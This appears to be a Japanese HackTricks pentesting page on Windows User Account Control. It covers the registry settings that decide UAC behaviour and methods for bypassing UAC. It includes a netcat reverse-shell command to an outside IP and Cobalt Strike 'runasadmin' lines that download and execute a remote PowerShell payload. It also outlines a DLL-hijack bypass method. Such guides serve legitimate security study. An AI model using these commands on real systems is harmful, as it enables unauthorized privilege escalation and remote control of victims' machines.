hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

24 KiB
Raw Blame History

UAC - ユーザーアカウント制御

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

ユーザーアカウント制御UACは、昇格したアクティビティの承認プロンプトを有効にする機能です。アプリケーションには異なるintegrityレベルがあり、高いレベルのプログラムはシステムを危険にさらす可能性のあるタスクを実行できます。UACが有効になっている場合、アプリケーションとタスクは常に、管理者がこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを明示的に許可するまで、管理者以外のアカウントのセキュリティコンテキストで実行されます。これは、管理者が意図しない変更から保護する便利な機能ですが、セキュリティの境界とは見なされません。

整合性レベルについての詳細は、次のページを参照してください:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

UACが設定されている場合、管理者ユーザーには2つのトークンが与えられます通常のアクションを通常のレベルで実行するための標準ユーザーキーと、管理者特権を持つものとしてのトークンです。

このページでは、UACの動作、ユーザーエクスペリエンス、およびUACのアーキテクチャについて詳しく説明しています。管理者は、セキュリティポリシーを使用して、ローカルレベルsecpol.mscを使用で組織固有のUACの動作を設定するか、Active Directoryドメイン環境でグループポリシーオブジェクトGPOを構成およびプッシュアウトすることができます。さまざまな設定については、こちらで詳しく説明されています。UACに設定できる10のグループポリシー設定については、以下の表に詳細が記載されています

Group Policy Setting Registry Key Default Setting
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Disabled
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Disabled
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Prompt for consent for non-Windows binaries
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Prompt for credentials on the secure desktop
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Enabled (default for home) Disabled (default for enterprise)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Disabled
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Enabled
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Enabled
[User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch
ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する EnableVirtualization 有効

UACバイパスの理論

一部のプログラムは、ユーザーが管理者グループに所属している場合、自動的に自動昇格します。これらのバイナリには、_マニフェスト_内に_value_が_True_の_autoElevate_オプションがあります。また、バイナリはMicrosoftによって署名されている必要もあります。

そのため、UACの完全性レベルからに昇格)をバイパスするため、一部の攻撃者はこの種のバイナリを使用して任意のコードを実行します。なぜなら、それは高い完全性レベルのプロセスから実行されるからです。

ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_マニフェスト_を確認できます。また、Process Explorer_または_Process MonitorSysinternalsのを使用して、プロセスの完全性レベル確認できます。

UACの確認

UACが有効かどうかを確認するには、以下を実行してください

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

もし 1 ならば、UACは 有効 です。もし 0 または 存在しない 場合、UACは 無効 です。

次に、どのレベル が設定されているかを確認します:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • もし 0 なら、UACはプロンプトを表示しません無効のようなものです)
  • もし 1 なら、管理者はバイナリを高い権限で実行するためにユーザ名とパスワードを要求されます(セキュアデスクトップ上で)
  • もし 2 なら(常に通知、管理者が高い権限で何かを実行しようとすると、UACは常に確認を求めますセキュアデスクトップ上で
  • もし 3 なら、1 と同じですが、セキュアデスクトップ上では必要ありません
  • もし 4 なら、2 と同じですが、セキュアデスクトップ上では必要ありません
  • もし 5デフォルトなら、管理者に非Windowsバイナリを高い権限で実行するかどうか確認します

次に、LocalAccountTokenFilterPolicy の値を確認する必要があります
もし値が 0 なら、RID 500 ユーザー(ビルトインの管理者のみがUACなしで管理者タスクを実行できます。もし値が 1 なら、"Administrators" グループ内のすべてのアカウントが実行できます。

そして、キー FilterAdministratorToken の値を確認します
もし 0(デフォルト)なら、ビルトインの管理者アカウントはリモート管理タスクを実行できます。もし 1 なら、ビルトインの管理者アカウントはリモート管理タスクを実行できません(ただし、LocalAccountTokenFilterPolicy1 に設定されている場合は除く)。

要約

  • EnableLUA=0 または 存在しない 場合、誰にもUACはありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=1 の場合、誰にもUACはありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=0 の場合、RID 500ビルトインの管理者にはUACがありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=1 の場合、誰にもUACがあります

これらの情報は、metasploit モジュール post/windows/gather/win_privs を使用して収集することができます。

また、ユーザーのグループを確認し、整合性レベルを取得することもできます。

net user %username%
whoami /groups | findstr Level

UACバイパス

{% hint style="info" %} 被害者に対してグラフィカルなアクセス権がある場合、UACバイパスは簡単です。UACのプロンプトが表示されたら、「はい」をクリックするだけです。 {% endhint %}

UACバイパスは、次の状況で必要ですUACが有効になっており、プロセスが中間完全性コンテキストで実行され、ユーザーが管理者グループに所属していることです。

重要なことは、UACが最高セキュリティレベル常にに設定されている場合、他のレベルデフォルトに設定されている場合よりもUACバイパスがはるかに困難であるということです。

UACが無効化されている場合

UACが既に無効化されている場合ConsentPromptBehaviorAdminが**0である場合)、次のような方法で管理者特権(高い完全性レベル)で逆シェルを実行**することができます:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

トークン複製によるUACバイパス

非常に基本的なUAC "バイパス"(完全なファイルシステムアクセス)

管理者グループに所属するユーザーを持つシェルがある場合、SMBファイルシステムを介してC$共有をマウントすることができます。新しいディスクにローカルにマウントされ、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーも含まれます)。

{% hint style="warning" %} このトリックはもう機能しないようです {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UACバイパスのコバルトストライクによる攻撃

UACのセキュリティレベルが最大に設定されていない場合にのみ、コバルトストライクのテクニックが機能します。

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploitには、UACバイパスするためのいくつかのモジュールもあります。

KRBUACBypass

ドキュメントとツールはhttps://github.com/wh0amitz/KRBUACBypassにあります。

UACバイパスの脆弱性

UACMEは、いくつかのUACバイパスの脆弱性のコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイルSource\Akagi\outout\x64\Debug\Akagi.exe)が作成されますが、どれが必要かを知る必要があります。
何らかのプログラムがユーザーに何かが起こっていることを警告することがあるため、注意が必要です。

UACMEには、各テクニックが動作を開始したビルドバージョンがあります。自分のバージョンに影響を与えるテクニックを検索できます。

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

また、このページを使用すると、ビルドバージョンからWindowsリリース1607を取得できます。

さらなるUACバイパス

ここで使用されるすべてのUACバイパス技術は、被害者との完全な対話型シェルが必要です一般的なnc.exeシェルでは十分ではありません

meterpreterセッションを使用することができます。セッション値が1に等しいプロセスに移行します。

_explorer.exe_が動作するはずです

GUIを使用したUACバイパス

GUIにアクセスできる場合、UACプロンプトを受け入れるだけでバイパスすることができます。そのため、GUIにアクセスできればUACをバイパスすることができます。

さらに、おそらくRDP経由で他の誰かが使用していたGUIセッションにアクセスできる場合、https://github.com/oski02/UAC-GUI-Bypass-appverifのような管理者として実行されるツールがいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えばcmdを管理者として直接実行することができます。これはよりステルスです。

騒々しいブルートフォースUACバイパス

騒々しくなることを気にしない場合、常にhttps://github.com/Chainski/ForceAdminのようなものを実行して、ユーザーが許可するまで権限の昇格を要求することができます。

独自のバイパス - 基本的なUACバイパスの方法論

UACMEを見ると、ほとんどのUACバイパスがDllハイジャックの脆弱性を悪用していることに気付くでしょう主に悪意のあるdllを_C:\Windows\System32_に書き込むことDllハイジャックの脆弱性を見つける方法については、こちらを読んでください

  1. 自動昇格するバイナリを見つけます(実行されると高い完全性レベルで実行されることを確認します)。
  2. procmonを使用して、DLLハイジャックの脆弱性に対してNAME NOT FOUNDイベントを見つけます。
  3. おそらく、書き込み権限がない保護されたパスC:\Windows\System32などにDLLを書き込む必要があるでしょう。これを回避するには、次の方法を使用できます。
  4. wusa.exeWindows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができますこのツールは高い完全性レベルから実行されるため
  5. IFileOperationWindows 10。
  6. バイナリを保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するためのスクリプトを準備します。

別のUACバイパス技術

自動昇格バイナリレジストリから実行されるバイナリまたはコマンド名前/パス読み取ろうとするかどうかを監視する方法です(これは、バイナリがこの情報をHKCU内で検索する場合に特に興味深いです)。

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化することができます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥